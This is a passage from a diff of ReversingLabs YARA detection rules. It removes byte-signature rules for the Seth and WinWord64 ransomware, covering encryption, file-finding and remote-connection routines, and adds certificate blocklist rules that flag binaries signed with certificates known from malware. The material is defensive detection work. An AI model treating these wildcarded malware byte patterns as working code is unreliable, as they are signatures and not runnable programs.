?? ?? ?? E8 ?? - ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B - E5 5D C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yongli Li" and pe.signatures [ i ] . serial == "13:9a:7e:e1:f1:a7:73:5c:15:10:89:75:5d:f5:d3:73" and 1476057600 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_74Dbe83082E1B3Dfa29F9C24 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "dbb75cf2-1b48-52f1-8d06-e35d48c4fea4" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13222-L13238" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "1fdf6471d0b869df1a8630108cdaf1cc97d33e91d4726073913cdc54c7cf0042" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $encrypt_files ) and ( $delete_shadow_copies ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "EVANGEL TECHNOLOGY(HK) LIMITED" and pe.signatures [ i ] . serial == "74:db:e8:30:82:e1:b3:df:a2:9f:9c:24" and 1468817578 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Seth : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_0A466553A6391Aafd181B400266C7B18 : INFO FILE { meta: - description = "Yara rule that detects Seth ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "001de900-4556-5428-a243-7ec07a7ed05e" - date = "2021-04-02" - modified = "2021-04-02" + id = "ef8ff250-840f-5b55-b0c7-85ca54aadc59" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Seth.yara#L1-L122" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13240-L13256" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "72a9d902eea2381f40d42faa7f1686c4ca54d364af0cbd8711697bbc1a235646" + logic_hash = "cb21e5759887904d6a38cd1b363610ebc0bfd9a357050c602210468992815cbe" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Seth" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_p1 = { - 55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 48 8D 85 ?? - ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BA ?? ?? - ?? ?? 48 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? - BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 - 89 C1 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C1 48 8B 95 ?? - ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 41 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? - 48 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B 0D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C1 48 8B 85 ?? ?? ?? ?? 48 89 C2 E8 ?? ?? ?? ?? 48 - 8B 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BA - ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 89 - C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 48 - 8D 15 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C1 48 8B 85 - } - $encrypt_files_p2 = { - 48 89 C2 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C1 8B 85 - ?? ?? ?? ?? 89 C2 E8 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 48 98 48 89 C1 E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 48 - 63 C8 48 8B 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 - 8B 95 ?? ?? ?? ?? 48 8D 45 ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 48 63 C8 48 8B 95 ?? ?? ?? ?? 48 8D 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 - 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 83 - BD ?? ?? ?? ?? ?? 74 ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 - 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? - ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? - 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? - ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 C4 ?? ?? ?? - ?? 5B 5D C3 - } - $remote_connection_p1 = { - 55 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 8D ?? ?? ?? ?? 48 8B 05 ?? ?? - ?? ?? FF D0 89 C1 E8 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 85 ?? ?? - ?? ?? 41 89 D0 48 89 C2 48 8D 0D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8B 05 ?? - ?? ?? ?? FF D0 89 C1 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C1 BA ?? ?? ?? ?? 89 C8 F7 EA - C1 FA ?? 89 C8 C1 F8 ?? 29 C2 89 D0 69 C0 ?? ?? ?? ?? 29 C1 89 C8 8D 88 ?? ?? ?? ?? - 48 8D 95 ?? ?? ?? ?? 48 8D 45 ?? 41 89 C9 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 48 - 8B 05 ?? ?? ?? ?? FF D0 C7 44 24 ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? - BA ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 89 85 ?? ?? ?? ?? - 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? - ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? - 0F 84 ?? ?? ?? ?? 48 8D 45 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 - 44 24 ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C1 48 - 8B 05 ?? ?? ?? ?? FF D0 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? - ?? 48 8D 85 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB - ?? 8B 8D ?? ?? ?? ?? 4C 8D 85 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? - 48 C7 44 24 ?? ?? ?? ?? ?? 4D 89 C1 41 89 C8 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 B8 - ?? ?? ?? ?? 44 8D 40 ?? 48 8D 8D ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? - ?? 49 89 C9 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 85 C0 - } - $remote_connection_p2 = { - 74 ?? B8 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? - ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 55 ?? 48 8D 85 ?? ?? ?? ?? 49 89 D0 48 - 8D 15 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 85 ?? ?? ?? ?? 48 89 C1 - 48 8B 05 ?? ?? ?? ?? FF D0 B9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 45 ?? 48 - 89 C1 E8 ?? ?? ?? ?? 84 C0 74 ?? C6 85 ?? ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 - 48 8B 05 ?? ?? ?? ?? FF D0 48 8B 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 - 48 8B 85 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 B9 ?? ?? ?? ?? 48 8B 05 ?? - ?? ?? ?? FF D0 0F B6 85 ?? ?? ?? ?? 83 F0 ?? 84 C0 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 89 C1 BA ?? ?? ?? ?? 89 C8 F7 EA C1 FA ?? 89 C8 C1 F8 ?? 29 C2 89 D0 69 C0 ?? ?? ?? - ?? 29 C1 89 C8 8D 88 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 45 ?? 41 89 C9 49 89 D0 - 48 8D 15 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 45 ?? 48 C7 44 24 ?? - ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 49 89 C0 48 8B 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 85 C0 0F 94 C0 84 C0 74 ?? 48 8D 55 ?? 48 8D 85 ?? ?? ?? ?? 49 89 D0 48 8D 15 - ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 85 ?? ?? ?? ?? 48 89 C1 48 8B - 05 ?? ?? ?? ?? FF D0 B9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 48 8D 45 ?? 48 89 C1 - E8 ?? ?? ?? ?? 90 48 81 C4 ?? ?? ?? ?? 5D C3 - } - $find_files = { - 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 83 F8 ?? 0F 95 C0 84 C0 74 ?? BB ?? - ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8D 95 ?? ?? ?? - ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C2 48 8B 0D ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? - 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? - ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 - ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 - 8D 95 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 10 48 83 EA ?? 48 8B 12 - 48 01 D0 48 89 C1 E8 ?? ?? ?? ?? 48 85 C0 0F 95 C0 84 C0 0F 85 ?? ?? ?? ?? 48 8B 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 85 ?? ?? ?? - ?? 48 89 C1 E8 ?? ?? ?? ?? 83 FB ?? 74 ?? BB ?? ?? ?? ?? EB ?? 90 BB ?? ?? ?? ?? 48 - 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 FB ?? 74 ?? BB ?? ?? ?? ?? EB ?? 90 BB - ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 83 FB ?? 74 ?? E9 ?? ?? ?? ?? 90 E9 - ?? ?? ?? ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 - 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? - ?? 48 89 C1 E8 ?? ?? ?? ?? E9 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PhaseQ Limited" and pe.signatures [ i ] . serial == "0a:46:65:53:a6:39:1a:af:d1:81:b4:00:26:6c:7b:18" and 1555545600 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_0D3Dec8794Fa7228D1Ee40Eeb8187149 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "54e9ec00-d054-521b-b60b-81efe3a8ce12" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13258-L13274" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "20084dc0b069d65755f859f5aef4be5599d1f066ba006199d3ce803b0d8f041e" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Financial Security Institute, Inc." and pe.signatures [ i ] . serial == "0d:3d:ec:87:94:fa:72:28:d1:ee:40:ee:b8:18:71:49" and 1582675200 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_24Af70B5D17A63Ad053E5821 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "034228b3-1864-5a76-ad9d-531778be10ec" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13276-L13292" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "d78f709067c83169484d9dd6e1dd8a88852362da028551d4e55e5703a22e04a7" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 + + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "24:af:70:b5:d1:7a:63:ad:05:3e:58:21" and 1474179615 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_402E9Fcba61E5Eaf9C0C7B3Bfd6259D9 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "a24e1201-4a90-5d0f-ac19-4d88a4e4cfe5" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13294-L13310" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "1bfc2610745a98ebcf0f77504815d9d1c448697fbe407d6c2e075219b401de50" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yongli Li" and pe.signatures [ i ] . serial == "40:2e:9f:cb:a6:1e:5e:af:9c:0c:7b:3b:fd:62:59:d9" and 1477440000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Winword64 : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_2C84F9136059E96134F8766670Eacd52 : INFO FILE { meta: - description = "Yara rule that detects WinWord64 ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a5f7967d-58f4-5fdd-b67f-5f5dbfec0f4b" - date = "2021-02-11" - modified = "2021-02-11" + id = "af7eb5ff-570f-5886-b550-3d327d05fabe" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.WinWord64.yara#L1-L215" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13312-L13328" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "73d8c4f1b3bed365320b26332f1f1b49404d8e6536f3e25042f5f64e5bc09bd4" + logic_hash = "d6778630dcc3e4fe2816e6dee1b823e616f53de8a924057495c7c252948a71b4" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "WinWord64" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? A1 ?? ?? ?? - ?? 33 DB 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? - 03 C1 89 9D ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 51 - 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 53 89 5D ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? - ?? ?? ?? 53 0F 43 85 ?? ?? ?? ?? 6A ?? 50 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? - 85 DB 0F 84 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F 43 0D - ?? ?? ?? ?? 03 C1 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 51 50 51 - 8D 4D ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 68 ?? ?? ?? ?? 50 53 - FF 15 ?? ?? ?? ?? 8B 55 ?? 8B D8 89 9D ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 - ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? - 76 ?? FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? 66 89 45 ?? 85 DB 0F 84 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? B9 ?? ?? - ?? ?? A1 ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 03 C1 83 3D ?? ?? ?? ?? ?? B9 - } - $remote_connection_p2 = { - 0F 43 0D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D BD ?? - ?? ?? ?? 83 BD ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? A1 ?? ?? ?? ?? 0F 43 BD ?? ?? ?? ?? 83 - 3D ?? ?? ?? ?? ?? 0F 43 0D ?? ?? ?? ?? 03 C1 83 3D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F - 43 0D ?? ?? ?? ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 85 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 50 57 53 FF 15 ?? ?? ?? - ?? 8B 55 ?? 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? ?? ?? - 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 - E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 88 45 ?? 8B 95 ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 8D 14 55 ?? ?? - ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ?? - FF 15 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? - ?? ?? C6 45 ?? ?? 8D 4D ?? 83 7D ?? ?? 8B 45 ?? 0F 43 4D ?? 03 C1 83 7D ?? ?? 8D 4D - ?? 0F 43 4D ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? - ?? 83 BD ?? ?? ?? ?? ?? 8D 4D ?? 68 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? B9 ?? ?? - ?? ?? 83 3D ?? ?? ?? ?? ?? 8B 75 ?? 8B C6 0F 43 0D ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B - } - $remote_connection_p3 = { - 55 ?? 2B C2 57 51 3B F8 77 ?? 8D 04 3A 83 FE ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? 8D 34 - 10 56 E8 ?? ?? ?? ?? 83 C4 ?? C6 04 37 ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 - ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 75 ?? 8B C6 - 8B BD ?? ?? ?? ?? 0F 43 CF 8B 55 ?? 2B C2 8B 9D ?? ?? ?? ?? 53 51 3B D8 77 ?? 8D 04 - 1A 83 FE ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? 8D 34 10 56 E8 ?? ?? ?? ?? 83 C4 ?? C6 04 - 1E ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B BD - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? B9 ?? ?? ?? ?? 83 3D ?? ?? - ?? ?? ?? 8B 75 ?? 8B C6 0F 43 0D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 55 ?? 2B C2 53 51 - 3B D8 77 ?? 8D 04 1A 83 FE ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? 8D 34 10 56 E8 ?? ?? ?? - ?? 83 C4 ?? C6 04 33 ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? FF B5 ?? ?? ?? ?? 53 E8 - ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B 45 ?? 0F 43 - D3 8B 75 ?? 2B C6 8B 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 0E 89 45 ?? - 8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 06 ?? - EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B 9D ?? ?? - ?? ?? 83 3D ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 8B - } - $remote_connection_p4 = { - 45 ?? 8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D 04 0E 89 45 - ?? 8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 04 30 - ?? EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B 95 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B D0 83 78 ?? ?? 72 ?? 8B 10 - 8B 48 ?? 8B 45 ?? 8B 75 ?? 2B C6 89 8D ?? ?? ?? ?? 51 52 3B C8 77 ?? 83 7D ?? ?? 8D - 04 0E 89 45 ?? 8D 45 ?? 0F 43 45 ?? 03 F0 56 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 - ?? C6 04 30 ?? EB ?? C6 85 ?? ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? - ?? C6 45 ?? ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? - ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ?? FF 15 ?? ?? ?? ?? 52 - 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D 